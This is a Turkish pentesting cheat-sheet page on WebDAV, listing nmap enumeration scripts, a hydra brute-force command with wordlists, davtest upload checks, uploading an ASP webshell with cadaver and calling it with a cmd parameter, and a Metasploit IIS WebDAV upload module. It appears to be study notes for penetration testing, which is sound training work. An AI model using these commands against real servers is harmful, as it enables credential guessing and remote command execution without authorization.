> For the complete documentation index, see [llms.txt](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/network-service-pentesting/http-https-80-443/webdav.md).

# WEBDAV

Belirtilen yolda kullanılabilecek metodları listeler.

```bash
 nmap --script http-methods --script-args http-methods.url-path=/webdav/ <IP>
```

Webdav dizini varsa bilgilerini listeler.

```bash
 nmap --script http-webdav-scan --script-args http-methods.url-path=/webdav/ <IP>
```

Eğer dizinlerin arasında webdav var ise aşağıdaki komut ile giriş yapmayı deneyebiliriz.

```python
davtest -url http://example.com/webdav
```

## Brute Force

Giriş yapmak için brute-force saldırısı yapabiliriz.

```python
hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt <IP> http-get /webdav/
```

Giriş bilgilerini bulduktan sonra aşağıdaki komut ile giriş yapabiliriz.

```python
davtest -auth admin:password123 -url http://example.com/webdav
```

## Komut Çalıştırma

Webdav dizinine dosya yüklemek için cadaver aracını kullanıyoruz.

```python
cadaver http://example.com/webdav

put /usr/share/webshells/asp/webshell.asp

```

Bir webshell yükledikten sonra istediğimiz komutu çalıştırabiliriz.

```python
https://example.com/webdav/webshell.asp?cmd=whoami
```

Aynı işlemi msfconsole ile de yapabiliriz.

```python
msfconsole -q
use exploit/windows/iis/iis_webdav_upload_asp
set RHOSTS https://example.com
set HttpUsername admin
set HttpPassword password123
set PATH /webdav/metasploit%RAND%.asp
exploit
```
